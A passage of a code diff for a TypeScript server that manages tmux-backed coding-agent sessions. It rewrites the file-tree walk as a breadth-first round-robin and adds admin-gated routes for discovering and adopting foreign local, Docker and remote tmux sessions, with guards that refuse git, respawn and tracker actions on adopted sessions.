const maxDepth = Math.min(parseInt(depth || '5', 10), 10);
const includeHidden = showHidden === 'true';
const workingDir = session.workingDir;
// `root=live` starts the walk at the linked worktree the pane is in (#765), once that folder
// proves to be inside `workingDir` right now, and every `path` below stays relative to
// `workingDir`, so file-content, file-raw and the edit route need nothing new and judge these
// paths against the same root as any other. Only the search predicate reads a path relative
// to the listing, since that is the tree the person is looking at.
const liveWorktree = session.liveWorktree;
const walkRoot =
root === 'live' && liveWorktree && (await canWalkLiveWorktree(workingDir, liveWorktree.path))
? liveWorktree.path
: workingDir;
// null for an empty/whitespace query, which is what keeps the default
// tree response byte-identical when no search is requested.
const matcher = compileFileQuery(q ?? '');
@@ -1630,12 +1742,17 @@ export function registerFileRoutes(app: FastifyInstance, ctx: SessionPort & Even
size?: number;
extension?: string;
children?: FileTreeNode[];
/** Set only on a folder the walk stopped short of or could not reach, so `children` is not all of it. */
incomplete?: boolean;
}
let totalFiles = 0;
let totalDirectories = 0;
let truncated = false;
const maxFiles = 5000;
let entriesRead = 0;
const isListed = (entry: Dirent): boolean =>
(includeHidden || !entry.name.startsWith('.')) && !(entry.isDirectory() && excludeDirs.has(entry.name));
// ===== Search mode =====
// A query turns this endpoint into a FLAT match list rather than a nested
@@ -1647,70 +1764,83 @@ export function registerFileRoutes(app: FastifyInstance, ctx: SessionPort & Even
const matches: FileTreeNode[] = [];
const maxMatches = 1000;
const searchDirectory = async (dirPath: string, currentDepth: number): Promise<void> => {
if (currentDepth > maxDepth || totalFiles + totalDirectories > maxFiles || matches.length >= maxMatches) {
truncated = true;
return;
}
const queue: WalkCursor[] = [{ dirPath: walkRoot, depth: 1, index: 0 }];
// Folders the read ceiling kept shut or that did not answer. What was already read still gets its turns.
const unread: WalkCursor[] = [];
while (queue.length > 0 && totalFiles + totalDirectories < maxFiles && matches.length < maxMatches) {
// Per-directory round-robin (breadth-first): each queued directory gets an equal share of what
// is left before any of them gets more, so results arrive shallow-first. Fair per directory,
// not per subtree: a folder of thousands of small subfolders queues thousands of directories
// and can still take most of the budget one level down. Reading a folder costs the same
// whatever its share, so this never bounds the reading: MAX_WALK_ENTRIES_READ does.
const directoriesInRound = queue.length;
const nodesPerDirectory = Math.max(
1,
Math.floor((maxFiles - totalFiles - totalDirectories) / directoriesInRound)
);
let entries: import('node:fs').Dirent[];
try {
entries = await fs.readdir(dirPath, { withFileTypes: true });
} catch {
// Can't read directory (permission denied, etc.)
return;
}
entries.sort((a, b) => {
if (a.isDirectory() && !b.isDirectory()) return -1;
if (!a.isDirectory() && b.isDirectory()) return 1;
return a.name.localeCompare(b.name);
});
for (const entry of entries) {
if (totalFiles + totalDirectories > maxFiles || matches.length >= maxMatches) {
for (let directoryIndex = 0; directoryIndex < directoriesInRound; directoryIndex++) {
// Spent part way through a round: the rest stay queued unread rather than sorted for nothing.
if (totalFiles + totalDirectories >= maxFiles || matches.length >= maxMatches) break;
const cursor = queue.shift();
if (!cursor) break;
if (cursor.depth > maxDepth) {
truncated = true;
break;
continue;
}
if (!includeHidden && entry.name.startsWith('.')) continue;
if (entry.isDirectory() && excludeDirs.has(entry.name)) continue;
const fullPath = join(dirPath, entry.name);
const relativePath = relative(workingDir, fullPath);
if (entry.isDirectory()) {
totalDirectories++;
if (matcher(entry.name, relativePath)) {
matches.push({ name: entry.name, path: relativePath, type: 'directory' });
if (!cursor.entries) {
if (entriesRead >= MAX_WALK_ENTRIES_READ) {
unread.push(cursor);
continue;
}
// Always recurse, even when this directory does not match.
await searchDirectory(fullPath, currentDepth + 1);
} else {
totalFiles++;
if (matcher(entry.name, relativePath)) {
let size: number | undefined;
try {
size = (await fs.stat(fullPath)).size;
} catch {
// Skip size if we can't stat the match.
entriesRead += await readWalkFolder(cursor, maxFiles - totalFiles - totalDirectories, isListed);
if (cursor.unanswered) unread.push(cursor);
if (!cursor.entries) continue;
}
const endIndex = walkTurnEnd(cursor.entries, cursor.index, nodesPerDirectory);
while (cursor.index < endIndex && totalFiles + totalDirectories < maxFiles && matches.length < maxMatches) {
const entry = cursor.entries[cursor.index++];
const fullPath = join(cursor.dirPath, entry.name);
const relativePath = relative(workingDir, fullPath);
const listedPath = relative(walkRoot, fullPath);
if (entry.isDirectory()) {
totalDirectories++;
if (matcher(entry.name, listedPath)) {
matches.push({ name: entry.name, path: relativePath, type: 'directory' });
}
// Queued, not entered: it waits for a later round with every other directory found.
queue.push({ dirPath: fullPath, depth: cursor.depth + 1, index: 0 });
} else {
totalFiles++;
if (matcher(entry.name, listedPath)) {
let size: number | undefined;
try {
size = (await fs.stat(fullPath)).size;
} catch {
// Skip size if we can't stat the match.
}
matches.push({
name: entry.name,
path: relativePath,
type: 'file',
size,
extension: entry.name.includes('.') ? entry.name.split('.').pop()?.toLowerCase() : undefined,
});
}
matches.push({
name: entry.name,
path: relativePath,
type: 'file',
size,
extension: entry.name.includes('.') ? entry.name.split('.').pop()?.toLowerCase() : undefined,
});
}
}
if (cursor.index < cursor.entries.length || cursor.more) queue.push(cursor);
}
};
await searchDirectory(workingDir, 1);
}
if (queue.length > 0 || unread.length > 0) truncated = true;
return {
success: true,
data: {
root: workingDir,
root: walkRoot,
...(liveWorktree && { worktree: liveWorktree }),
tree: [],
matches,
totalFiles,
@@ -1723,47 +1853,57 @@ export function registerFileRoutes(app: FastifyInstance, ctx: SessionPort & Even
};
}
const scanDirectory = async (dirPath: string, currentDepth: number): Promise<FileTreeNode[]> => {
if (currentDepth > maxDepth || totalFiles + totalDirectories > maxFiles) {
truncated = true;
return [];
}
interface TreeDirectoryCursor extends WalkCursor {
/** This directory's node. The root of the walk has none: `tree` is its list of children. */
node?: FileTreeNode;
nodes: FileTreeNode[];
}
try {
const entries = await fs.readdir(dirPath, { withFileTypes: true });
const nodes: FileTreeNode[] = [];
const tree: FileTreeNode[] = [];
const queue: TreeDirectoryCursor[] = [{ dirPath: walkRoot, depth: 1, nodes: tree, index: 0 }];
const unread: TreeDirectoryCursor[] = [];
while (queue.length > 0 && totalFiles + totalDirectories < maxFiles) {
// The same per-directory round-robin as the search walk above, with the same limits.
const directoriesInRound = queue.length;
const nodesPerDirectory = Math.max(
1,
Math.floor((maxFiles - totalFiles - totalDirectories) / directoriesInRound)
);
// Sort: directories first, then alphabetically
entries.sort((a, b) => {
if (a.isDirectory() && !b.isDirectory()) return -1;
if (!a.isDirectory() && b.isDirectory()) return 1;
return a.name.localeCompare(b.name);
});
for (const entry of entries) {
if (totalFiles + totalDirectories > maxFiles) {
truncated = true;
break;
for (let directoryIndex = 0; directoryIndex < directoriesInRound; directoryIndex++) {
// Before the shift, so a cursor this skips stays queued and is flagged below.
if (totalFiles + totalDirectories >= maxFiles) break;
const cursor = queue.shift();
if (!cursor) break;
if (cursor.depth > maxDepth) {
truncated = true;
continue;
}
if (!cursor.entries) {
if (entriesRead >= MAX_WALK_ENTRIES_READ) {
unread.push(cursor);
continue;
}
entriesRead += await readWalkFolder(cursor, maxFiles - totalFiles - totalDirectories, isListed);
if (cursor.unanswered) unread.push(cursor);
if (!cursor.entries) continue;
}
// Skip hidden files unless requested
if (!includeHidden && entry.name.startsWith('.')) continue;
// Skip excluded directories
if (entry.isDirectory() && excludeDirs.has(entry.name)) continue;
const fullPath = join(dirPath, entry.name);
const endIndex = walkTurnEnd(cursor.entries, cursor.index, nodesPerDirectory);
while (cursor.index < endIndex && totalFiles + totalDirectories < maxFiles) {
const entry = cursor.entries[cursor.index++];
const fullPath = join(cursor.dirPath, entry.name);
const relativePath = fullPath.slice(workingDir.length + 1);
if (entry.isDirectory()) {
totalDirectories++;
const children = await scanDirectory(fullPath, currentDepth + 1);
nodes.push({
const node: FileTreeNode = {
name: entry.name,
path: relativePath,
type: 'directory',
children,
});
children: [],
};
cursor.nodes.push(node);
queue.push({ dirPath: fullPath, depth: cursor.depth + 1, node, nodes: node.children!, index: 0 });
} else {
totalFiles++;
const ext = entry.name.includes('.') ? entry.name.split('.').pop()?.toLowerCase() : undefined;
@@ -1772,31 +1912,26 @@ export function registerFileRoutes(app: FastifyInstance, ctx: SessionPort & Even
const stat = await fs.stat(fullPath);
size = stat.size;
} catch {
// Skip if can't stat
// Skip if can't stat.
}
nodes.push({
name: entry.name,
path: relativePath,
type: 'file',
size,
extension: ext,
});
cursor.nodes.push({ name: entry.name, path: relativePath, type: 'file', size, extension: ext });
}
}
return nodes;
} catch {
// Can't read directory (permission denied, etc.)
return [];
if (cursor.index < cursor.entries.length || cursor.more) queue.push(cursor);
}
};
const tree = await scanDirectory(workingDir, 1);
}
// Every directory still queued is unread or half read, and an empty `children` would read as an
// empty folder. The root has no node to flag: `truncated` says the same for it.
for (const cursor of [...queue, ...unread]) {
if (cursor.node) cursor.node.incomplete = true;
}
if (queue.length > 0 || unread.length > 0) truncated = true;
return {
success: true,
data: {
root: workingDir,
root: walkRoot,
...(liveWorktree && { worktree: liveWorktree }),
tree,
totalFiles,
totalDirectories,
+8 -2
View File
@@ -81,6 +81,8 @@ export function registerGitStatusRoutes(
const session = findSessionOrFail(ctx, id, req);
if (session.remote) return { success: true, data: emptyOverview('unsupported', { reason: 'remote' }) };
if (session.docker) return { success: true, data: emptyOverview('unsupported', { reason: 'docker' }) };
// An adopted wrapper's folder is the neutral `/tmp`, so a scan would run git on whatever sits there.
if (session.isAdopted) return { success: true, data: emptyOverview('unsupported', { reason: 'adopted' }) };
return {
success: true,
data: await getGitWorkspaceOverview(session.workingDir, {
@@ -103,9 +105,12 @@ export function registerGitStatusRoutes(
const { repo, path, kind } = query;
const limits = limitsFrom(query);
const session = findSessionOrFail(ctx, id, req);
if (session.remote || session.docker) {
if (session.remote || session.docker || session.isAdopted) {
reply.code(400);
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Git is not available for remote or Docker sessions');
return createErrorResponse(
ApiErrorCode.INVALID_INPUT,
'Git is not available for remote, Docker or adopted sessions'
);
}
const repoRoot = repo
? await findWorkspaceRepo(session.workingDir, repo, {
@@ -159,6 +164,7 @@ export function registerGitStatusRoutes(
const session = findSessionOrFail(ctx, id, req);
if (session.remote) return { success: true, data: emptyReport('unsupported', { reason: 'remote' }) };
if (session.docker) return { success: true, data: emptyReport('unsupported', { reason: 'docker' }) };
if (session.isAdopted) return { success: true, data: emptyReport('unsupported', { reason: 'adopted' }) };
// Fail CLOSED on a Docker case list that cannot be read: a fetch runs the repository's hooks, so it never
// runs without knowing which folders a container can write to. Answered as a failed run (`state: 'error'`),
// published like one, so the Session Options Git row shows it.
+64 -3
View File
@@ -1,15 +1,25 @@
/**
* @fileoverview Mux (tmux) session management routes.
* Provides mux session listing, killing, reconciliation, and stats control.
* Provides mux session listing, killing, reconciliation, stats control, and
* discovery of FOREIGN tmux sessions (ones a human started outside Codeman).
*
* Discovery lives here rather than beside the adopt endpoint on purpose: like
* every other route in this file it exposes cross-user process state (other
* people's session names, commands and working directories), so it inherits the
* admin gate this file already applies. Adoption is a session CREATE and stays in
* `session-routes.ts`, where the owner, capacity and case-space gates live.
*/
import { FastifyInstance } from 'fastify';
import type { InfraPort } from '../ports/index.js';
import type { InfraPort, SessionPort } from '../ports/index.js';
import { STATS_COLLECTION_INTERVAL_MS } from '../../config/server-timing.js';
import { requireAdmin } from '../route-helpers.js';
import { isMultiUserMode } from '../../config/multiuser.js';
import { discoverForeignSessions, readAllDockerCases, readAllRemoteHosts } from '../../foreign-tmux-discovery.js';
import { adoptTargetIdentity, foreignTargetKey } from '../../foreign-tmux.js';
import { FOREIGN_POLL_INTERVAL_MS } from '../../config/foreign-tmux.js';
export function registerMuxRoutes(app: FastifyInstance, ctx: InfraPort): void {
export function registerMuxRoutes(app: FastifyInstance, ctx: InfraPort & SessionPort): void {
app.get('/api/mux-sessions', async (req, reply) => {
// Multi-user: this recovery/debug surface exposes every user's tmux + workdirs → admin-only
// (requireAdmin is a no-op allow-all in single-user mode, so flag-off is unchanged).
@@ -36,6 +46,57 @@ export function registerMuxRoutes(app: FastifyInstance, ctx: InfraPort): void {
return result;
});
/**
* Foreign tmux sessions available for adoption.
*
* LOCAL results are always included and are TTL-cached, because the home screen
* polls this endpoint while it is open. DOCKER and REMOTE are opt-in per
* request (`?docker=1`, `?remote=1`): each costs one `docker exec` or one ssh
* per target, and having the home page fan those out on every load is the one
* cost this design refuses to pay.
*
* `adoptedBy` is filled from the live sessions, so a target Codeman already wraps
* renders as "open" rather than offering a second wrapper. Sessions and not mux
* records: the tmux record only exists once the tab's first attach starts the pane.
*/
app.get('/api/mux/foreign', async (req, reply) => {
if (isMultiUserMode() && !requireAdmin(req, reply)) return;
const q = (req.query ?? {}) as Record<string, string | undefined>;
const wantDocker = q.docker === '1' || q.docker === 'true';
const wantRemote = q.remote === '1' || q.remote === 'true';
// Read the registries either way: `canScanWide` tells the browser whether the
// expensive scan has anywhere to go. Without it the UI hides an empty block,
// and with it the toggle that is the ONLY way to populate that block, which on
// a host with containers but no local tmux sessions made the feature invisible.
const dockerCases = await readAllDockerCases();
const remoteHosts = await readAllRemoteHosts();
const result = await discoverForeignSessions({
local: true,
force: q.force === '1',
dockerCases: wantDocker ? dockerCases : undefined,
remoteHosts: wantRemote ? remoteHosts : undefined,
});
// The same key the adopt route's one-wrapper check reads (see foreignTargetKey).
const wrapped = new Map<string, string>();
for (const session of ctx.sessions.values()) {
if (session.adopt) wrapped.set(foreignTargetKey(adoptTargetIdentity(session.adopt)), session.id);
}
return {
sessions: result.sessions.map((f) => ({
...f,
adoptedBy: wrapped.get(foreignTargetKey(f)),
})),
scannedAt: result.scannedAt,
notes: result.notes,
pollIntervalMs: FOREIGN_POLL_INTERVAL_MS,
canScanWide: dockerCases.length > 0 || remoteHosts.length > 0,
};
});
app.post('/api/mux-sessions/stats/start', async (req, reply) => {
// Multi-user: process-wide stats collection toggle → admin-only.
if (isMultiUserMode() && !requireAdmin(req, reply)) return;
+23
View File
@@ -37,6 +37,15 @@ import type { SessionPort, EventPort, RespawnPort, ConfigPort, InfraPort } from
/** Cap on a remote `@fix_plan.md` read over ssh (a task list, not a document). */
const MAX_REMOTE_FIX_PLAN_BYTES = 1024 * 1024;
/**
* An adopted session's `workingDir` is the neutral wrapper folder `/tmp`, not a workspace.
* Using it would write a predictable name into a folder anyone can write to, and read one
* back, while the agent in the pane never sees either file.
*/
function refuseAdoptedRalphFile(file: string) {
return createErrorResponse(ApiErrorCode.INVALID_INPUT, `${file} is not available for an adopted session`);
}
export function registerRalphRoutes(
app: FastifyInstance,
ctx: SessionPort & EventPort & RespawnPort & ConfigPort & InfraPort
@@ -60,6 +69,17 @@ export function registerRalphRoutes(
};
const session = findSessionOrFail(ctx, id, req);
// ⚠️ Adoption gate, kept SEPARATE from the external-CLI gate above: an adopted
// session can be `mode: 'claude'` and still be a process we never launched.
// Everything below drives the pane on the assumption Codeman owns what runs
// in it (sending `/clear`, killing and relaunching the agent), which against
// someone else's live session is destructive, not merely unsupported.
if (session.isAdopted) {
return createErrorResponse(
ApiErrorCode.INVALID_INPUT,
'The Ralph tracker is not available for adopted sessions: Codeman did not start this agent and must not drive its lifecycle'
);
}
// Ralph tracker is not supported for external-CLI sessions (opencode/codex)
if (isExternalCliMode(session.mode)) {
return createErrorResponse(
@@ -197,6 +217,7 @@ export function registerRalphRoutes(
app.post('/api/sessions/:id/fix-plan/write', async (req) => {
const { id } = req.params as { id: string };
const session = findSessionOrFail(ctx, id, req);
if (session.isAdopted) return refuseAdoptedRalphFile('@fix_plan.md');
// A remote session's workingDir is a path on the remote host. Writing it with local fs would land
// the file in a same-named local folder (or fail), and remote writes are out of scope by design
// (src/remote-files.ts is read-only), so it is refused, like the File Viewer's remote edit.
@@ -233,6 +254,7 @@ export function registerRalphRoutes(
app.post('/api/sessions/:id/fix-plan/read', async (req) => {
const { id } = req.params as { id: string };
const session = findSessionOrFail(ctx, id, req);
if (session.isAdopted) return refuseAdoptedRalphFile('@fix_plan.md');
const workingDir = session.workingDir;
if (!workingDir) {
@@ -280,6 +302,7 @@ export function registerRalphRoutes(
const { id } = req.params as { id: string };
const { content } = parseBody(RalphPromptWriteSchema, req.body, 'Invalid request body');
const session = findSessionOrFail(ctx, id, req);
if (session.isAdopted) return refuseAdoptedRalphFile('@ralph_prompt.md');
// Same rule as fix-plan/write: never write a remote session's file on the local disk.
if (session.remote) {
return createErrorResponse(
+3 -2
View File
@@ -91,8 +91,9 @@ export function registerReadMyMindRoutes(app: FastifyInstance, ctx: SessionPort
const transcriptPath = ctx.getTranscriptPath(id);
const transcript = transcriptPath ? await readTranscriptSignals(transcriptPath) : null;
// Remote-SSH cases skip git: workingDir is not local. Docker cases are
// fine (the workspace is bind-mounted at the same host path).
const workspace = session.remote ? null : await collectWorkspaceSignals(session.workingDir);
// fine (the workspace is bind-mounted at the same host path). An adopted
// session's workingDir is a neutral wrapper folder, so it skips git too.
const workspace = session.remote || session.isAdopted ? null : await collectWorkspaceSignals(session.workingDir);
const lastPromptTs = profile.recentPrompts[profile.recentPrompts.length - 1]?.ts;
const tracker = ctx.runSummaryTrackers.get(id);
+33
View File
@@ -98,6 +98,17 @@ export function registerRespawnRoutes(
}
const session = findSessionOrFail(ctx, id, req);
// ⚠️ Adoption gate, kept SEPARATE from the external-CLI gate above: an adopted
// session can be `mode: 'claude'` and still be a process we never launched.
// Everything below drives the pane on the assumption Codeman owns what runs
// in it (sending `/clear`, killing and relaunching the agent), which against
// someone else's live session is destructive, not merely unsupported.
if (session.isAdopted) {
return createErrorResponse(
ApiErrorCode.INVALID_INPUT,
'Respawn is not available for adopted sessions: Codeman did not start this agent and must not drive its lifecycle'
);
}
// Respawn is not supported for external-CLI sessions (opencode/codex)
if (isExternalCliMode(session.mode)) {
return createErrorResponse(ApiErrorCode.INVALID_INPUT, `Respawn is not supported for ${session.mode} sessions`);
@@ -241,6 +252,17 @@ export function registerRespawnRoutes(
return createErrorResponse(ApiErrorCode.SESSION_BUSY, 'Session is busy');
}
// ⚠️ Adoption gate, kept SEPARATE from the external-CLI gate above: an adopted
// session can be `mode: 'claude'` and still be a process we never launched.
// Everything below drives the pane on the assumption Codeman owns what runs
// in it (sending `/clear`, killing and relaunching the agent), which against
// someone else's live session is destructive, not merely unsupported.
if (session.isAdopted) {
return createErrorResponse(
ApiErrorCode.INVALID_INPUT,
'Respawn is not available for adopted sessions: Codeman did not start this agent and must not drive its lifecycle'
);
}
// Respawn is not supported for external-CLI sessions (opencode/codex)
if (isExternalCliMode(session.mode)) {
return createErrorResponse(ApiErrorCode.INVALID_INPUT, `Respawn is not supported for ${session.mode} sessions`);
@@ -310,6 +332,17 @@ export function registerRespawnRoutes(
const body = reResult.data as { config?: Partial<RespawnConfig>; durationMinutes?: number };
const session = findSessionOrFail(ctx, id, req);
// ⚠️ Adoption gate, kept SEPARATE from the external-CLI gate above: an adopted
// session can be `mode: 'claude'` and still be a process we never launched.
// Everything below drives the pane on the assumption Codeman owns what runs
// in it (sending `/clear`, killing and relaunching the agent), which against
// someone else's live session is destructive, not merely unsupported.
if (session.isAdopted) {
return createErrorResponse(
ApiErrorCode.INVALID_INPUT,
'Respawn is not available for adopted sessions: Codeman did not start this agent and must not drive its lifecycle'
);
}
// Respawn is not supported for external-CLI sessions (opencode/codex)
if (isExternalCliMode(session.mode)) {
return createErrorResponse(ApiErrorCode.INVALID_INPUT, `Respawn is not supported for ${session.mode} sessions`);
+316 -49
View File
@@ -34,6 +34,17 @@ import {
type OmpConfig,
type RemoteHost,
} from '../../types.js';
import { AdoptForeignSessionSchema } from '../schemas.js';
import {
discoverForeignSessions,
invalidateForeignCache,
readAllDockerCases,
readAllRemoteHosts,
} from '../../foreign-tmux-discovery.js';
import { adoptTargetIdentity, foreignTargetKey, foreignViewSessionName } from '../../foreign-tmux.js';
import { requireAdmin } from '../route-helpers.js';
import type { SessionAdopt } from '../../types/session.js';
import type { ForeignTmuxSession } from '../../types/foreign-tmux.js';
import {
GuardedInputBusyError,
Session,
@@ -202,7 +213,7 @@ import {
} from '../../docker-hosts.js';
import { resolveCaseRepository, resolveManagedWorktree } from '../../git-worktrees.js';
import { LRUMap } from '../../utils/lru-map.js';
import { describeUnknownPath, probePathKind } from '../../utils/index.js';
import { describeUnknownPath, probePathKind, type PathProbeOptions } from '../../utils/index.js';
import { findLatestOmpSessionId } from '../../utils/omp-session-resolver.js';
import { scanOmpSessionsHistory } from '../../omp-transcript.js';
import { scanCodexSessionsHistory, codexThreadBySessionId } from '../../codex-transcript.js';
@@ -235,27 +246,35 @@ function landedInGroup(layout: TabLayout | undefined, sessionId: string): boolea
* Guard a session-supplied configDir home BEFORE `applyCustomModelInjection` runs.
*
* The apply resolves the CLI's real home from this session's env override and then runs
* synchronous `existsSync`/`mkdirSync` on it (deepseek `DSH_HOME`, and any future
* `linkFromRealHome` recipe). A path on an unreachable network mount makes a synchronous
* stat wait forever, and this runs INSIDE a request handler, so it would freeze the whole
* web server (CLAUDE.md, the #516 rule on user-chosen paths). A relative home is left to
* the apply, which already refuses to join non-absolute values.
* synchronous `existsSync`/`mkdirSync` on it (deepseek `DSH_HOME`, any future
* `linkFromRealHome` recipe, and claude's `CLAUDE_CONFIG_DIR` for `projects`). A path on an
* unreachable network mount makes a synchronous stat wait forever, and this runs INSIDE a
* request handler, so it would freeze the whole web server (CLAUDE.md, the #516 rule on
* user-chosen paths). A relative home is left to the apply, which already refuses to join
* non-absolute values.
*
* Probe the session's own home with `probePathKind(..., { pastCap: true })` first: on
* `'unknown'` (a dead mount that never answered) hand the apply a lookup that hides that
* one env var, so linking falls through to the server's own environment and the unresponsive
* path is never touched. Any other entry's lookup passes through untouched.
* path is never touched. Any other entry's lookup passes through untouched. Boot recovery
* passes `probeOptions` of `{}`: it walks every saved session, so it keeps the bulk cap.
*/
export async function guardSessionConfigDirHome(
entry: Pick<CliEntry, 'capabilities'>,
baseLookup: (envVar: string) => string | undefined
baseLookup: (envVar: string) => string | undefined,
probeOptions: PathProbeOptions = { pastCap: true }
): Promise<(envVar: string) => string | undefined> {
const recipe = entry.capabilities.customModelInjection;
if (recipe?.kind !== 'configDir' || !recipe.linkFromRealHome?.length) return baseLookup;
const dirEnvVar = recipe.dirEnvVar;
const dirEnvVar =
recipe?.kind === 'env'
? recipe.configDirVar
: recipe?.kind === 'configDir' && recipe.linkFromRealHome?.length
? recipe.dirEnvVar
: undefined;
if (!dirEnvVar) return baseLookup;
const supplied = baseLookup(dirEnvVar)?.trim();
if (!supplied || !isAbsolute(supplied)) return baseLookup;
if ((await probePathKind(supplied, { pastCap: true })) === 'unknown') {
if ((await probePathKind(supplied, probeOptions)) === 'unknown') {
console.warn(
`[custom-model] ${dirEnvVar} (${supplied}) did not answer; linking from the server's own home instead`
);
@@ -332,7 +351,7 @@ const MOUSE_TRACKING_PATTERN = /\x1b\[\?(?:1000|1001|1002|1003|1005|1006|1007)[h
* - `strip-full` (claude/codex/gemini): alt-screen toggles, `3J` and mouse DECSETs.
* xterm obeys the toggles by switching to its scrollback-less alt buffer and wiping
* saved lines, so history disappeared on tab switch.
* - `strip-mux-and-mouse` (opencode, tmux-backed): alt-screen toggles and mouse DECSETs.
* - `strip-mux-and-mouse` (tmux-backed): alt-screen toggles and mouse DECSETs.
* A replayed tracking enable parks xterm in report mode, where a drag goes to the CLI
* instead of selecting text (and Ctrl+C without a selection is opencode's app_exit).
* `3J` stays: a TUI is not a `clear` consumer.
@@ -1377,8 +1396,9 @@ export function registerSessionRoutes(
const globalNice = await ctx.getGlobalNiceConfig();
const modelConfig = await ctx.getModelConfig();
const mode = body.mode || 'claude';
// Synced App Settings launch defaults (capabilities.launchDefaults, codex's model and
// effort today) fill the CLI's own config object where the caller left it unset.
// Synced App Settings launch defaults (capabilities.launchDefaults, codex's model,
// effort and network access today) fill the CLI's own config object where the caller
// left it unset.
// Local launches only: a remote attach runs whatever the remote pane already runs.
const launchBody = remote ? body : await applyLaunchDefaults(mode, body);
// Where a model override comes from is a capability, and the three answers are
@@ -1487,6 +1507,187 @@ export function registerSessionRoutes(
};
});
// ========== Adopt a foreign tmux session ==========
/**
* The wrapper pane for an adopted session runs `tmux attach`, never the agent,
* so it needs no workspace, and must not borrow the foreign one. Same value
* `resolveMuxAttachCwd()` gives remote and docker panes.
*/
const ADOPTED_WRAPPER_WORKING_DIR = '/tmp';
/**
* Targets with a wrapper being created right now. The live-session check alone
* leaves a gap: between it and `addSession` the route awaits the host registries,
* the history config and the owner's layout lock, so two devices opening one row
* could each pass it.
*/
const adoptsInFlight = new Set<string>();
/**
* Wrap a tmux session a HUMAN started (local, in a container, or over ssh) in a
* Codeman session, so it appears as a tab and can be driven from the browser.
*
* Four things make this safe, and each is load-bearing:
*
* 1. **The body carries only an opaque id.** The socket path, session name and
* host are re-resolved by re-running discovery here. A browser therefore
* never supplies a fragment of the command we are about to run, which is the
* same rule that keeps docker-adopt and remote-attach injection-free.
* 2. **The candidate must still exist.** Discovery is re-run rather than cached,
* so a session that died between the listing and the click fails with a 404
* instead of producing a wrapper attached to nothing.
* 3. **One wrapper per target.** Two wrappers on one foreign session would each
* create their own grouped view and each think they own the tab; the guard
* is here rather than in the button's in-flight lock, which only stops a
* double-click on one device.
* 4. **Admin-only under multi-user.** Discovery already is (it exposes other
* users' processes), and adopting someone's `shell` is arbitrary execution
* as the server account, which is exactly what the `can-bypass-permissions`
* grant gates elsewhere. The admin gate subsumes it, so there is deliberately
* no second grant check here.
*/
app.post('/api/sessions/adopt', async (req, reply) => {
if (isMultiUserMode() && !requireAdmin(req, reply)) return;
const owner = ownerFor(req);
const body = parseBody(AdoptForeignSessionSchema, req.body, 'Invalid request body');
// Re-resolve rather than trust: point 1 and 2 above.
const found = await discoverForeignSessions({
local: true,
force: true,
dockerCases: body.docker ? await readAllDockerCases() : undefined,
remoteHosts: body.remote ? await readAllRemoteHosts() : undefined,
});
const target = found.sessions.find((f) => f.id === body.id);
if (!target) {
// ⚠️ "Not in the re-resolve" has two very different causes and they must not
// be reported as one. The session really being gone is the ordinary case;
// the OTHER case is a location we could not reach this time, which on a
// flaky link makes a perfectly live remote session read as deleted. Measured
// against a real VM whose ssh path dropped ~10% of connections: clicking
// Open failed with "no longer there" while the session was sitting right
// there. Discovery already knows which it was: it wrote a note, so say so.
const reach = found.notes.filter((n) => !/skipped/.test(n));
return createErrorResponse(
ApiErrorCode.NOT_FOUND,
reach.length
? `Could not reach it just now (${reach.join('; ')}). It may still be running, try again.`
: 'That tmux session is no longer there. Refresh the list and try again.'
);
}
// Point 3: one wrapper per target. Live sessions and not mux records, which
// only exist once the first attach starts the pane, so reading those let a
// second adopt through before the first tab had started.
const targetKey = foreignTargetKey(target);
for (const session of ctx.sessions.values()) {
if (session.adopt && foreignTargetKey(adoptTargetIdentity(session.adopt)) === targetKey) {
return { session: ctx.getSessionStateWithRespawn(session), alreadyAdopted: true };
}
}
if (adoptsInFlight.has(targetKey)) {
return createErrorResponse(ApiErrorCode.SESSION_BUSY, 'That tmux session is already being opened');
}
// After the reuse above, which creates nothing and so must not be refused at capacity.
const capMsg = sessionCapacityMessage(ctx.sessions, owner);
if (capMsg) return createErrorResponse(ApiErrorCode.SESSION_BUSY, capMsg);
adoptsInFlight.add(targetKey);
try {
return await createAdoptedSession(req, target, owner, body);
} finally {
adoptsInFlight.delete(targetKey);
}
});
/** Everything past the guards in `POST /api/sessions/adopt`, held under its in-flight mark. */
async function createAdoptedSession(
req: FastifyRequest,
target: ForeignTmuxSession,
owner: string | undefined,
body: { name?: string; parentSessionId?: string }
) {
// Connection facts are copied onto the session rather than referenced by id:
// a wrapper restored after a server restart must be able to rebuild its
// command even if the host registry was edited in the meantime.
const adopt: SessionAdopt = {
location: target.location,
socketPath: target.socketPath,
targetSession: target.sessionName,
viewSession: '',
paneCurrentPath: target.workingDir,
};
if (target.location === 'docker') {
const hosts = await readDockerHosts(CODEMAN_CONFIG_DIR);
const host = hosts.find((h) => h.id === target.hostId);
if (!target.containerName) {
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Container name missing for a docker candidate');
}
adopt.docker = {
hostId: target.hostId ?? '',
label: target.hostLabel ?? target.containerName,
engine: host?.engine ?? 'docker',
containerName: target.containerName,
daemonHost: host?.daemonHost,
context: host?.context,
};
} else if (target.location === 'remote') {
const host = (await readRemoteHosts(CODEMAN_CONFIG_DIR)).find((h) => h.id === target.hostId);
if (!host) return createErrorResponse(ApiErrorCode.NOT_FOUND, 'Remote host not found');
adopt.remote = {
hostId: host.id,
label: host.label,
host: host.host,
username: host.username,
port: host.port,
identityFile: host.identityFile,
socksProxy: host.socksProxy,
jumpHost: host.jumpHost,
extraSshOptions: host.extraSshOptions,
};
}
const adoptHistoryConfig = await ctx.getTerminalHistoryConfig();
// ⚠️ The wrapper's `workingDir` is a NEUTRAL LOCAL path, never the foreign
// pane's cwd. That cwd is an observation about another machine: it can carry
// characters outside SAFE_PATH_PATTERN (`~/c++`, `Program Files (x86)`), which
// makes `createSession` throw so the tab never starts at all, and when it is a
// container or ssh path every local consumer of `workingDir` (the Files panel,
// the boot hook sweep, the fs watchers) reads it as a path on THIS host. The
// foreign cwd stays on `adopt.paneCurrentPath`, which is for display only.
// `/tmp` is the same neutral cwd `resolveMuxAttachCwd` already gives the pane.
const session = new Session({
workingDir: ADOPTED_WRAPPER_WORKING_DIR,
mode: target.mode,
name: body.name || target.sessionName,
mux: ctx.mux,
useMux: true,
tmuxHistoryLimit: adoptHistoryConfig.tmuxHistoryLimit,
adopt,
owner,
parentSessionId: resolveParentSessionId(ctx, req, body.parentSessionId, owner),
});
// The view session name is derived from the Codeman session id, so it can only
// be filled once the Session exists.
adopt.viewSession = foreignViewSessionName(session.id);
await ctx.addSession(session);
ctx.store.incrementSessionsCreated();
ctx.persistSessionState(session);
